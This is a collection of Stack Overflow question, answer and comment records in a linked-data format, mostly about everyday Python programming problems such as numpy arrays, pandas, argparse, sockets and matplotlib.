has body: required_time_stamps contains 5911 time stamps time_based_mfcc_feature contains 5911 samples each having 20 mfcc features. So if you were to look at time_based_mfcc_feature it will look like : row1 val2 val3 ... val 20 row2 val2 val3 ... val 20 row3 val2 val3 ... val 20 . . . row5911 val2 val3 ... val 20 print type(required_time_stamps) &lt; type 'numpy.ndarray'> print required_time_stamps.shape (5911,) print type(time_based_mfcc_feature) &lt; type 'numpy.ndarray'> print time_based_mfcc_feature.shape (5911, 20) I want to combine these two so that I will have : In R, I can simply do time_based_mfcc_feature&lt;-as.data.frame(time_based_mfcc_feature) required_time_stamps&lt;-as.data.frame(required_time_stamps) new_dataframe &lt;- merge(required_time_stamps,time_based_mfcc_feature) View(new_dataframe) How would I do achieve this in python ? So that the final data would look like this : time1 row1 val2 val3 ... val 20 time2 row2 val2 val3 ... val 20 time3 row3 val2 val3 ... val 20 . . . time5911 row5911 val2 val3 ... val 20 Where these time1 to time 5911 are simply the values contained in the required_time_stamps. I tried : mfcc_features_with_times= np.hstack((required_time_stamps,time_based_mfcc_feature)) BUT GOT THIS ERROR --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-41-ce462d805743&gt; in &lt;module&gt;() ----&gt; 1 mfcc_features_with_times= np.hstack((required_time_stamps,time_based_mfcc_feature)) /usr/local/lib/python2.7/dist-packages/numpy/core/shape_base.pyc in hstack(tup) 289 # As a special case, dimension 0 of 1-dimensional arrays is "horizontal" 290 if arrs and arrs[0].ndim == 1: --&gt; 291 return _nx.concatenate(arrs, 0) 292 else: 293 return _nx.concatenate(arrs, 1) ValueError: all the input arrays must have same number of dimensions THEN I TRIED TRANSPOSE : t = required_time_stamps.transpose mfcc_features_with_times= np.hstack((t,time_based_mfcc_feature)) But again s…
type: Question
tagged with: numpy
has title: concatenate/ combine MX1 numpy array with MXN numpy array
tagged with: arrays
answer count: 1

http://stackoverflow.com/comment/84452302
has text: How exactly is [tag:flask] related to the specific question you're asking?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48726000
score: 0

http://stackoverflow.com/q/48669793
tagged with: python
tagged with: text-files
tagged with: python-3.x
type: Question
type: AnsweredQuestion
has title: Python: Why does user input to text file gets forgotten by my program?
has body: This may sound a little confusing but I am trying to create a program that can ask a user for a name, store that input in a text file and then check future user inputs to see if that name is in the file I have it working for one run i.e. input 1 name, and can check that name is in file. But when I try to do a different name, it completely 'forgets' about the first name. Any ideas? Thanks (code, file and output provided) Code: HeroName = "" while HeroName != "Quit": Hero = open("HeroHolder2.txt", "r+") HeroName = input("Name a hero: ").title() if HeroName in open("HeroHolder2.txt", "r+").readlines(): #checks to see if input is in file already print(HeroName + ", is in database") elif "Quit" in HeroName: Hero.close() quit() elif "Clearholder" in HeroName: #makes the file new again Hero = open("HeroHolder2.txt", "w") print("Handbook cleared") else: #Writes name to file if not already there with open("HeroHolder2.txt", "a+") as Hero: print("Hero invalid - adding to data base") Hero.write("\n"+HeroName) Output: Output to Shell Text File: What the text file shows
answer count: 1
score: 0
has answer: http://stackoverflow.com/a/48670017
accepted answer: http://stackoverflow.com/a/48670017

http://stackoverflow.com/a/48729009
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48729001
has body: You can using groupby + last df.groupby(['Patient ID']).last()
upvote count: 1
type: Answer

http://stackoverflow.com/q/48719523
has comment: http://stackoverflow.com/comment/84438084
upvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/84438012
accepted answer: http://stackoverflow.com/a/48719580
type: AnsweredQuestion
has title: How to determine if first two elements of a value are integers or characters?
downvote count: 3
has answer: http://stackoverflow.com/a/48719638
tagged with: date
type: Question
has comment: http://stackoverflow.com/comment/84437990
has body: My goal is to save the number of a day, from a date value, in a variable For example: today_str = 10-2-2018 date_num = 10 or today_str = 3/5/2018 date_num = 3 In addition, I want to check if it's 2 integers or only 1 so I can save the day's number in a value.
has comment: http://stackoverflow.com/comment/84438105
possible better answer: http://stackoverflow.com/a/48721164
has answer: http://stackoverflow.com/a/48719661
has answer: http://stackoverflow.com/a/48721164
score: -1
has comment: http://stackoverflow.com/comment/84443780
has answer: http://stackoverflow.com/a/48719580
has comment: http://stackoverflow.com/comment/84438034
has comment: http://stackoverflow.com/comment/84438006
has comment: http://stackoverflow.com/comment/84438080
has comment: http://stackoverflow.com/comment/84438169
answer count: 4
favorite count: 0

http://stackoverflow.com/comment/84477578
type: AnswerComment
comment on: http://stackoverflow.com/a/48738940
score: 0
has text: I actually used gmpy2 at first. I used gmpy2.powmod(mpz(a), mpz(b), mpz(c)). My computer freezes when it's used for some reason. Is there anything I could do to optimize that?
type: Comment

http://stackoverflow.com/q/48721643
has comment: http://stackoverflow.com/comment/84442213
accepted answer: http://stackoverflow.com/a/48721697
answer count: 2
has comment: http://stackoverflow.com/comment/84442253
upvote count: 0
tagged with: sorting
favorite count: 0
has comment: http://stackoverflow.com/comment/84442234
tagged with: python
has comment: http://stackoverflow.com/comment/84442177
has title: Assistance with Python 'sort(key=None)'
has answer: http://stackoverflow.com/a/48721697
downvote count: 1
has answer: http://stackoverflow.com/a/48721743
type: Question
has comment: http://stackoverflow.com/comment/84442274
type: AnsweredQuestion
has body: I'm having a hard time understanding why my function is not returning the reversed version of my list. I've spent a long time trying to understand why and i hit a wall: ---it only returns my list in ascending order. letters = 'abcdefghijk' numbers = '123456' dict1 = {} def reverseOrder(listing): lst2 = [] lst2.append(listing) lst2.sort(reverse=True) return lst2 for l, n in zip(letters, numbers): dict1.update({l:n}) lst1 = list(dict1) + list(dict1.values()) lst1.sort(key=reverseOrder) print(lst1)
has comment: http://stackoverflow.com/comment/84442518
score: -1
possible better answer: http://stackoverflow.com/a/48721743

http://stackoverflow.com/comment/84326892
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48664674
has text: Hey so it appears that the problem is that one index was saved as a string and the other as integers. Thanks very much anyway!
type: AnswerComment

http://stackoverflow.com/comment/84406759
type: Comment
comment on: http://stackoverflow.com/a/48704117
has text: Yes, I meant to refer to the indexes, which you've adjusted your code to include.
score: 0
type: AnswerComment

http://stackoverflow.com/q/48701616
has title: How to simplify my list of numbers?
has comment: http://stackoverflow.com/comment/84401720
type: Question
tagged with: numpy
tagged with: arrays
has answer: http://stackoverflow.com/a/48701768
tagged with: statistics
score: 0
answer count: 1
tagged with: python
tagged with: jupyter-notebook
has body: What I have here is a list of x values with its corresponding cumulative density value with a specific lambda. What I need to do is find the mean of exc_cdf1 values shown... How can I possibly put these exp_cdf values into an array so that I can use the function of array.mean()? Is my way of coding in order to display the exp_cdf1 a good way to approach such problem? (i need to print the values so I can have a sanity check, to an extent.) If we were to continue with the way I'm doing it right now where i have the loop displaying all of its values, how can I find the mean? Lastly, I want to find the mean of such exp_cdf1 values but in an efficient and intuitive way, I hope I made myself clear. here is the code I have so far: import numpy as np arr = np.arange(50)/50 for i in range(0,50): lambda1 = 0.5 exp_cdf1 = 1 - lambda1 * math.exp(-1 * lambda1 * arr[i]) print(' lambda1 = ' , lambda1, ' ' , i , " = " , arr[i], 'exp_cdf1 = ' , exp_cdf1) this is what displays when the code is ran: edit: after updating the code in which i learned that i can just simply exp_cdf1.mean() i then have this code: import numpy as np arr = np.arange(50)/50 for i in range(0,50): lambda1 = 0.5 exp_cdf1 = 1 - lambda1 * math.exp(-1 * lambda1 * arr[i]) print('lambda1 = ' , lambda1, i , " = " , arr[i], 'exp_cdf1 = ' , exp_cdf1, ' mean = ' , exp_cdf1.mean()) in which i get an error AttributeError: 'float' object has no attribute 'mean'
has comment: http://stackoverflow.com/comment/84401839
has comment: http://stackoverflow.com/comment/84401741
type: UnansweredQuestion

http://stackoverflow.com/comment/84431540
has text: Could you show a sample of the csv files? I'm not sure if stackoverflow allows an external link like pastebin to upload the files but that might help to get a better idea of your code.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48715797
score: 0

http://stackoverflow.com/q/48659214
has comment: http://stackoverflow.com/comment/84321919
has comment: http://stackoverflow.com/comment/84322115
score: 2
type: AnsweredQuestion
downvote count: 0
tagged with: matplotlib
has title: Manually closing matplotlib plots doesn't release the program
type: Question
has comment: http://stackoverflow.com/comment/84321915
has comment: http://stackoverflow.com/comment/84327512
has comment: http://stackoverflow.com/comment/84316009
upvote count: 2
has body: When I call pyplot.show(block=True) a window with the correct plot appears. When trying to manually close it, the window closes but the program won't continue to run (like it's still blocked). For instance, the following program will display the plot window and print Before, but after manually closing the window, the program still seems blocked, and After is not printed.: plt.plot(x,y) print("Before") plt.show(block=True) print("After") I work with the latest matplotlib version (2.1.2) using the interactive TkAgg backend on Python 3.5.2. Update - Additional info: I work with Pycharm 2017.2 on Ubuntu (VM on Windows host)
has comment: http://stackoverflow.com/comment/84321021
has comment: http://stackoverflow.com/comment/84327244
has comment: http://stackoverflow.com/comment/84318208
linked to: http://stackoverflow.com/q/44233863
answer count: 1
linked to: http://stackoverflow.com/q/13440956
has answer: http://stackoverflow.com/a/48688620
accepted answer: http://stackoverflow.com/a/48688620
favorite count: 0
has comment: http://stackoverflow.com/comment/84316664
tagged with: python

http://stackoverflow.com/comment/84296252
comment on: http://stackoverflow.com/a/48648030
type: AnswerComment
score: 0
type: Comment
has text: Standardizing the data seems to be not quite helpful in this case. I mean no meaningful patterns could be attained from the cluster heatmap visually. I think this could be the case because the variance of `dataset_2` is much larger than the variance of `dataset_1`. And this might cause the estimator to be inaccurate. I read that from [sklearn.preprocessing.StandardScaler source][https://github.com/scikit-learn/scikit-learn/blob/a24c8b46/sklearn/preprocessing/data.py#L478]

http://stackoverflow.com/comment/84419219
has text: @Graipher another possible cause would be another part of the code deleting the key from the dict. Quite a few people blindly assume that assignment or argument passing create copies and post here wondering why some object changes when theu claim they did not touch it...
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48702546
type: Comment

http://stackoverflow.com/a/48690139
downvote count: 0
score: 1
has body: Remember a Boolean array can also be given numerical operations x += (x &gt; 10) * 30
answers question: http://stackoverflow.com/q/48690048
has comment: http://stackoverflow.com/comment/84378884
type: Answer
upvote count: 1

http://stackoverflow.com/comment/84518276
type: QuestionComment
comment on: http://stackoverflow.com/q/48758579
score: 1
has text: That is strange, have you tried rebooting and seeing if that corrects the issue?
type: Comment

sap-gui
tags question: http://stackoverflow.com/q/48792300
tag name: sap-gui
type: Tag

http://stackoverflow.com/comment/85227026
comment on: http://stackoverflow.com/a/49107526
type: Comment
score: 0
has text: Hi, I get this error after launching- ValueError: invalid literal for int() with base 10: 'A{row_in_output}'. I tried to convert to string but it doesnt work and also i tried with float. But when I put the search number with in quotes the program executes but it does not write to target file
type: AnswerComment

http://stackoverflow.com/comment/84411632
score: 1
type: Comment
has text: @mkrieger1 OP said every change in list length so this answer is correct based on what OP said
comment on: http://stackoverflow.com/a/48706482
type: AnswerComment

http://stackoverflow.com/q/48676983
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84352188
has answer: http://stackoverflow.com/a/48677351
answer count: 3
tagged with: pandas
possible better answer: http://stackoverflow.com/a/48677143
upvote count: 1
tagged with: jupyter
favorite count: 0
has body: I am slightly confused because the following seems to work: raw_data_df = pd.DataFrame() temp = pd.read_csv('/Users/bob/desktop/Research_data/tobii/42r-export.csv', sep = ',', encoding = 'latin-1') raw_data_df['1'] = temp['Gaze point X'] raw_data_df['2'] = temp['Gaze point Y'] However the following does not work: for i in files: temp = pd.read_csv(path + i , sep = ',', encoding = 'latin-1') print(temp['Gaze point X']) raw_data_df[i+"x"] = temp['Gaze point X'] raw_data_df[i+"y"] = temp['Gaze point Y'] where files is path = "/Users/bob/desktop/Research_data/tobii/" files = [f for f in listdir(path) if isfile(join(path,f))] Instead of returning a pandas data frame where column names are i+"x" or i+"y" i get a list of lists. here is a sample of what is outputted with raw_data_df 132660 857 132661 846 Name: Gaze point X, Length: 132662, dtype: int64 0 1206 1 1204 2 1205 3 1205 How can I join selected columns of multiple csv files into one data frame?
accepted answer: http://stackoverflow.com/a/48677044
has title: How can I join selected columns of multiple csv files into one data frame? Jupyter
has comment: http://stackoverflow.com/comment/84352213
tagged with: python
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/48677143
has answer: http://stackoverflow.com/a/48677044

http://stackoverflow.com/q/48719590
has comment: http://stackoverflow.com/comment/84442017
has comment: http://stackoverflow.com/comment/85236031
has comment: http://stackoverflow.com/comment/85240262
has comment: http://stackoverflow.com/comment/85248374
has comment: http://stackoverflow.com/comment/85306028
has comment: http://stackoverflow.com/comment/85242903
has comment: http://stackoverflow.com/comment/84439229
has comment: http://stackoverflow.com/comment/84439143
has comment: http://stackoverflow.com/comment/84446430
has comment: http://stackoverflow.com/comment/84441980
score: 0
has comment: http://stackoverflow.com/comment/85441888
tagged with: sockets
has comment: http://stackoverflow.com/comment/84449381
has comment: http://stackoverflow.com/comment/84439328
tagged with: android
has comment: http://stackoverflow.com/comment/84444358
tagged with: python
has comment: http://stackoverflow.com/comment/85207454
has comment: http://stackoverflow.com/comment/85207912
has comment: http://stackoverflow.com/comment/85306066
answer count: 0
has comment: http://stackoverflow.com/comment/85442382
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85245344
has comment: http://stackoverflow.com/comment/84444715
has comment: http://stackoverflow.com/comment/84444340
has comment: http://stackoverflow.com/comment/84439454
has comment: http://stackoverflow.com/comment/84444301
has comment: http://stackoverflow.com/comment/84444295
has comment: http://stackoverflow.com/comment/85245632
has comment: http://stackoverflow.com/comment/84444156
has comment: http://stackoverflow.com/comment/85258887
has comment: http://stackoverflow.com/comment/85301785
has comment: http://stackoverflow.com/comment/84449363
has comment: http://stackoverflow.com/comment/84444224
has comment: http://stackoverflow.com/comment/85447271
has title: Can't get python server data from android client
has comment: http://stackoverflow.com/comment/85242786
has body: I want to write a simple android app that sends text to python server and then puts its answer (in our case: how many vowels in the data) and use Logcat to see it really got the data. Everything works just fine excepts for the part where the clients waits for the server response. It just getting stuck there even though the server says it sent the data back to the client. Does anyone have an idea what might have caused this problem? UPDATE: After sniffing with Wireshark I saw that the data the client and server sends to each other is "Malformed packet". Anyone knows why? my client code: public class MainActivity extends Activity { private Socket socket; private static final int SERVERPORT = 5000; private static final String SERVER_IP = "10.0.0.1"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); new Thread(new ClientThread()).start(); } public void onClick(View view) { try { EditText et = (EditText) findViewById(R.id.EditText01); String str = et.getText().toString(); PrintWriter out = new PrintWriter(new BufferedWriter( new OutputStreamWriter(socket.getOutputStream())), true); out.println(str); Log.i("Tag","sent " + str); BufferedReader input = new BufferedReader(new InputStreamReader(this.socket.getInputStream())); try { String read = input.readLine(); Log.i("Tag","got " + read); } catch (IOException e) { e.printStackTrace(); } } catch (UnknownHostException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } class ClientThread implements Runnable { @Override public void run() { try { InetAddress serverAddr = InetAddress.getByName(SERVER_IP); socket = new Socket(serverAddr, SERVERPORT); } catch (UnknownHostException e1) { e1.printStackTrace(); } catch (IOException e1) { e1.printStackTrace(); } } } } my server code: import socket srv_sock = socket.socket() ip = "0.0.0.0" # means local port = 3001 # 0 means get ran…
type: Question

http://stackoverflow.com/comment/84346526
comment on: http://stackoverflow.com/q/48673887
score: 0
type: Comment
has text: @LioraHaydont Please see updated question.
type: QuestionComment

http://stackoverflow.com/a/48705598
downvote count: 0
has body: A decorator might be a bit nicer: import contextlib @contextlib.contextmanager def multi_threaded(count): funcs = [] yield funcs my_slice = int(count / len(funcs)) for i, func in enumerate(funcs): start = my_slice * i func(start, start + my_slice) def add_to_flist(mt): def _add_to_flist(func): mt.append(func) return func return _add_to_flist def spawn_many(): dataset = [1, 2, 3, 4, 5] with multi_threaded(len(dataset)) as mt: @add_to_flist(mt) def foo(start_idx, end): print("foo" + str(dataset[start_idx : end])) @add_to_flist(mt) def bar(start_idx, end): print("bar" + str(dataset[start_idx : end])) spawn_many()
has comment: http://stackoverflow.com/comment/84684126
upvote count: 1
has comment: http://stackoverflow.com/comment/137093134
type: Answer
score: 1
answers question: http://stackoverflow.com/q/48705018
has comment: http://stackoverflow.com/comment/84414332

http://stackoverflow.com/q/48786079
tagged with: python
answer count: 0
linked to: http://stackoverflow.com/q/9755864
type: Question
has comment: http://stackoverflow.com/comment/84583637
has comment: http://stackoverflow.com/comment/84583176
has comment: http://stackoverflow.com/comment/84583471
score: 4
tagged with: fifo
upvote count: 4
has comment: http://stackoverflow.com/comment/84583433
has comment: http://stackoverflow.com/comment/84581880
has title: Poor performance on large writes on O_NONBLOCK fifo in mac os
downvote count: 0
tagged with: macos
favorite count: 0
type: UnansweredQuestion
has body: I have a reader and writer on a FIFO, where the reader must not block indefinitely. To do this, I open the read end with O_NONBLOCK. The write end can block, so I open it as a regular file. Large writes perform unacceptably awfully - reading/writing a 4MB block takes minutes instead of the expected fraction of a second (expected, because in linux the same code takes a fraction of a second). Example code in Python replicating the issue. First, create a fifo using mkfifo, e.g. mkfifo some_fifo, then run the reading end, then the writing end. Reading End: import os, time # mkfifo some_fifo before starting python fd = os.open('some_fifo',os.O_RDONLY | os.O_NONBLOCK) while True: try: read = len(os.read(fd, 8192)) # read up to 8kb (FIFO buffer size in mac os) print(read) should_block = read &lt; 8192 # linux except BlockingIOError: should_block = True # mac os if should_block: print('blocking') time.sleep(0.5) Write End: import os fd = os.open('some_fifo',os.O_WRONLY) os.write(fd, b'aaaa'*1024*1024) # 4MB write Note: The original code where I hit on this issue is cross-platform Java code that also runs on linux. Unfortunately, this means I can't use kqueue with a kevent's data field to figure out how much I can read without blocking - this data is lost in the abstraction over epoll/kqueue that I use. This means a solution of using a blocking fd à la this answer is unacceptable. Edit: the original code used kqueue to block on the file descriptor in the read end, which performed worse Edit 2: Linux os.read() doesn't throw a BlockingIOError before the other side of the pipe is connected despite the docs stating that it should (the call succeeds (returns 0) but sets errno to EAGAIN). Updated the code to be friendly to linux behavior too. Edit 3: The code for macOS was originally: import select, os # mkfifo some_fifo before starting python fd = os.open('some_fifo',os.O_RDONLY | os.O_NONBLOCK) kq = select.kqueue() ke = select.kevent(fd) while True: try: read = len(os.read(fd, 8…
tagged with: io

http://stackoverflow.com/q/48671287
has answer: http://stackoverflow.com/a/48686557
has comment: http://stackoverflow.com/comment/84340603
tagged with: python
tagged with: python-3.x
has title: connection to mysql function error in python
accepted answer: http://stackoverflow.com/a/48672799
tagged with: pyodbc
has body: Please bear with me I am a python and programming noob, I am writing a function to connect to a mysql database server = "localhost" dbname = "db" dbuser = "root" dbpassword = "Klingon" port = "3399" driver = "{MySQL ODBC 5.3 ANSI Driver}" def mysql_cnxn(driver, serverip, port, dbname, dbuser, dbpassword): conns = "{0},{1},{2},{3},{4},{5}".format(driver, serverip, port, dbname, dbuser, dbpassword) conn = pyodbc.connect(conns) return conn mysql_cnxn(driver, serverip, port, dbname, dbuser, dbpassword) I am currently getting the following error: pyodbc.InterfaceError: ('IM002', '[IM002] [Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified (0) (SQLDriverConnect); [IM002] [Microsoft][ODBC Driver Manager] Invalid connection string attribute (0)') I'm sure its how I am calling the function, please help. I am using python 3.6.4 if that will help.
type: AnsweredQuestion
tagged with: mysql
type: Question
score: 0
answer count: 2
tagged with: function
possible better answer: http://stackoverflow.com/a/48686557
has answer: http://stackoverflow.com/a/48672799

http://stackoverflow.com/comment/84336104
type: AnswerComment
has text: I'd go for: `''.join(map(str, choices(range(i, j+1), k=n)))` - no need to make the range a list, just let it sample from the range, and have that mapped. Might just be worth noting that `choices` is 3.6+ - still a lot of people on 3.5...
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48669073

http://stackoverflow.com/comment/84445860
score: 0
has text: @chridam, thanks! It worked well.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48722969

http://stackoverflow.com/comment/84301396
score: 0
type: QuestionComment
has text: also... I think for 2 classes (background vs. foreground, which is the current task), binary_crossentropy on a sigmoid activation should work too... but I'd like to keep it generalizable to more classes, hence my attempt at crossentropy on softmax instead.
type: Comment
comment on: http://stackoverflow.com/q/48651377

http://stackoverflow.com/comment/84411117
score: 2
has text: What have you tried so far? Please post your code.
comment on: http://stackoverflow.com/q/48706365
type: QuestionComment
type: Comment

http://stackoverflow.com/a/54627179
has body: The straight answer coming from the author of Stanford-OpenIE-Python is that Windows OS is not supported by the library. Details here
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48780478

http://stackoverflow.com/comment/84385836
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48693697
type: AnswerComment
has text: There's a separate entry `'\n'` which exactly refers to what you're saying. So the question is, what prompted another entry `'\newline'` and why.

http://stackoverflow.com/a/48744439
answers question: http://stackoverflow.com/q/48744279
accepted answer of: http://stackoverflow.com/q/48744279
type: AcceptedAnswer
downvote count: 0
upvote count: 2
has body: Using np.sum for flattening your lists is a bad idea. Before np.sum is performed, both lists are coerced to np array types, which have different dtypes (although that is slightly aside the reason for failure). np.array(l).dtype != np.array(r).dtype You generally don't want to use np.sum for this. Simply flatten your list of lists the Pythonic way using list comprehensions: l = [x for lst in l for x in lst] r = [x for lst in r for x in lst]
type: Answer
score: 2

http://stackoverflow.com/a/48707131
answers question: http://stackoverflow.com/q/48706052
score: 0
type: Answer
has body: Fractional powers are a bit tricky, but you can use the fact that bn/d = (bn)1/d = d√ bn. See here for details. So you could write a recursive algorithm that reduces the exponent until it is a float between 0 and 1 approximates a fraction n/d representing that float, e.g. using fractions or this find the dth root of the n power, e.g. using simple binary search Code: def power(b, e): # the simple cases if e == 0: return 1 if b in (0, 1): return b if e &lt; 0: return 1 / power(b, -e) if e &gt;= 1: return b * power(b, e - 1) # fractions: b^(n/d) == d-/ b^n n, d = float_to_fraction(e) # see linked answer return root(power(b, n), d) def root(x, r): if x &lt; 0: raise ValueError("No roots of negative numbers!") low, high = 0, x cur = (low + high) / 2 while high - low &gt; 0.001: if power(cur, r) &lt; x: low = cur else: high = cur cur = (low + high) / 2 return cur Example: &gt;&gt;&gt; b, e = 1.23, -4.56 &gt;&gt;&gt; b**e 0.38907443175580797 &gt;&gt;&gt; power(b, e)) 0.38902984218983117 Or you could just use logarithms, although that might be considered cheating: &gt;&gt;&gt; math.exp(e * math.log(b)) 0.38907443175580797
has comment: http://stackoverflow.com/comment/84440640

http://stackoverflow.com/q/48790055
has comment: http://stackoverflow.com/comment/84582269
has comment: http://stackoverflow.com/comment/84582229
has title: How to parse argument with argparse which contains other arguments
tagged with: python
accepted answer: http://stackoverflow.com/a/48790243
type: AnsweredQuestion
upvote count: 3
type: Question
has body: I am writing a script, using argparse, which is supposed to take user input. The final argument was to be --args, and with that argument, I wanted to accept a string of arguments, which will then be passed to a bash script which is called within my script. Here is a really simplified version: In Python (myscript.py): import argparse import subprocess parser = argparse.ArgumentParser() parser.add_argument("--name", type=str, help=description, default="") parser.add_argument("--args", type=str, nargs='+', help=description, default="") args = parser.parse_args() subprocess.call("myotherscript.sh {}".format(args.script, args.args)) In Bash: python myscript.py --name myname --args --arguments for --the inner --script here So far I've tried escaping the --s in Bash (e.g. \\--the inner etc) which works and I can replace them back in Python (" ".join([s.replace("\\", "") for s in args.args])), but that isn't very elegant. I was wondering if there was a better way to handle this with argparse.
has answer: http://stackoverflow.com/a/48790243
tagged with: bash
tagged with: argparse
score: 3
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/48669186
score: 1
has body: It's hard to tell what's going on since only segments are pasted, but I'm guessing it has to do with how you are escaping the code. Maybe you could paste the generated code in chrome. Sometimes seeing a working example helps. angular.module('App', []) .controller('DriverCtrl', DriverCtrl); function DriverCtrl($scope) { // base64 encode 1x1 black pixel this.Rank = 'R0lGODlhAQABAIAAAAUEBAAAACwAAAAAAQABAAACAkQBADs='; } Rank: {{driver.Rank}} Image:
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48668010
answers question: http://stackoverflow.com/q/48668010
has comment: http://stackoverflow.com/comment/84342981

http://stackoverflow.com/q/48745994
type: Question
has comment: http://stackoverflow.com/comment/84495289
has comment: http://stackoverflow.com/comment/84834984
tagged with: flask
score: 0
has comment: http://stackoverflow.com/comment/84810332
has title: pipenv installs requests different than flask
answer count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84896250
has comment: http://stackoverflow.com/comment/84534316
tagged with: pipenv
has body: $ pipenv install requests installs requests folder in users\me\AppData\Roaming\Python\Python36\site-packages) installs requests folder in users\me.virtualenvs\\lib\site-packages) in python: import requests command complete successfully $ pipenv install flask does NOT install flask folder in users\me\AppData\Roaming\Python\Python36\site-packages) installs flask folder in users\me.virtualenvs\\lib\site-packages) import flask gets ModuleNotFoundError: no module named 'flask' response Why did "pipenv install requests" installed in Python but "pipenv install flask" did not? ("import requests" works without pipenv shell but "import flask" requires pipenv shell?)
has comment: http://stackoverflow.com/comment/84515466

http://stackoverflow.com/comment/84410398
type: Comment
has text: One more thing. `int` and `long` really have the same interfaces so you shouldn't care in most of the cases. And in Py3 there is just `int` even for numbers wider then your platform's `int`.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48705166

http://stackoverflow.com/a/48791936
has comment: http://stackoverflow.com/comment/84586253
score: 1
has body: Firstly, when asking a question you need to give all the relevant information. Rather than saying you use a button click to call this function, you need to show the actual code that assigns the button to the function. In this case it is clear what the problem is. You are confused between two things called "process": one is a parameter to the function, which is presumably a boolean value, and the other is a method on the class. To call a method you always need to refer to it via the instance, which inside another method is available via self. Note, however, you do not pass self as a paramater. fulllist, fulllist_percent, fulllist_click = self.process()
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48791691
answers question: http://stackoverflow.com/q/48791691
type: Answer
upvote count: 1

http://stackoverflow.com/q/48690189
downvote count: 1
has comment: http://stackoverflow.com/comment/84378589
type: Question
accepted answer: http://stackoverflow.com/a/48690313
score: -1
has answer: http://stackoverflow.com/a/48690313
tagged with: moving-average
answer count: 2
possible better answer: http://stackoverflow.com/a/48690253
has comment: http://stackoverflow.com/comment/84378582
favorite count: 0
has body: The problem I'm having is attempting to take the average of my list (derived from y, which is a list of sin values). However, when running the code, I get the error TypeError: float() argument must be a string or a number, not 'list' Any help you could offer would be greatly appreciated for k in range(len(y)-1-r): list_to_avg = [y[r+k:len(y)-1-r+k]] b =float(sum(list_to_avg, [])) a =float(len(list_to_avg)) z.append(b/a)
has answer: http://stackoverflow.com/a/48690253
tagged with: python
type: AnsweredQuestion
upvote count: 0
tagged with: list
has title: Taking the average of a sliced list
tagged with: sum

http://stackoverflow.com/q/48735910
tagged with: c++
type: AnsweredQuestion
upvote count: 0
score: -4
type: Question
has comment: http://stackoverflow.com/comment/84472388
has title: Logic: In a 2D data find and remove duplicates and average the y axis results
has answer: http://stackoverflow.com/a/48737534
accepted answer: http://stackoverflow.com/a/48737534
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/84471233
answer count: 1
favorite count: 0
has body: This is my first question on this forum. I have mentioned Logic in subject line as I am not looking for a specific programming langauge. I would appreciate if someone can point out the problem with logic and how to implement it without any inbuilt functions. Description: I have a 2d data which is x-axis and y-axis values from some lab experiment. The actual data is much larger. I am assuming that the person from field provides me the data as sorted list. For now I have just simplified it in this case. The first task is to remove the duplicates so that the end results is x = [1.5,2.4] and task 2 is to merge the corresponding y-values such that the new y = [(10+20)/2, (30+40)/2] = [15,35]. The output I get is z = 1.50000 2.40000 z1 = 15 25 So, problem 1: z returns correct list but only if I have 1 set of duplicates. If the list has number repeated more than twice like [1,1,1,2,2,2],then this fails. problem 2: It is obvious that my averaging logic is incorrect. So, I would appreciate if your guys can point out where am I going wrong and if there is a better way to approach this whole problem. Thank you. clc x1 = [1.5,1.5,2.4,2.4]; y = [10,20,30,40]; x = sort(x1); n = length(x); for i = 1:n for j = i+1:n if x(j) == x(i) for k = j:n-1 num = 1; x(k) = x(k+1); Add = y(k-1)+y(k); num = num +1; y(k-1) = Add/num; end n = n-1; j = j-1; else end end end for i=1:n z(i) = x(i); z1(i) = y(i); end z z1
tagged with: python
has comment: http://stackoverflow.com/comment/84471236
downvote count: 4
tagged with: matlab

http://stackoverflow.com/comment/84495041
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48747579
type: Comment
has text: Could you please copy/paste the screen instead of linking to a picture of it? Pretty sure you'll get negative votes only because of that...

http://stackoverflow.com/q/48787958
answer count: 2
has body: I am trying to make some code a bit more modular in Python and am running into one issue which I'm sure is straight forward but I can't seem to see what the problem is. Suppose I have a script, say MyScript.py: import pandas as pd import myFunction as mF data_frame = mF.data_imp() print(data_frame) where myFunction.py contains the following: def data_imp(): return pd.read_table('myFile.txt', header = None, names = ['column']) Running MyScript.py in the command line yields the following error: Traceback (most recent call last): File "MyScript.py", line 5, in &lt;module&gt; data_frame = mF.data_imp() File "/Users/tomack/Documents/python/StackQpd/myFunction.py", line 2, in data_imp return pd.read_table('myFile.txt', header = None, names = ['column']) NameError: name 'pd' is not defined
tagged with: pandas
upvote count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 0
has comment: http://stackoverflow.com/comment/84577474
score: 1
has comment: http://stackoverflow.com/comment/84577799
type: Question
has comment: http://stackoverflow.com/comment/84577468
has title: Using one module inside another in Python
has answer: http://stackoverflow.com/a/48792553
has answer: http://stackoverflow.com/a/48788003

http://stackoverflow.com/a/48804314
upvote count: 1
answers question: http://stackoverflow.com/q/48804113
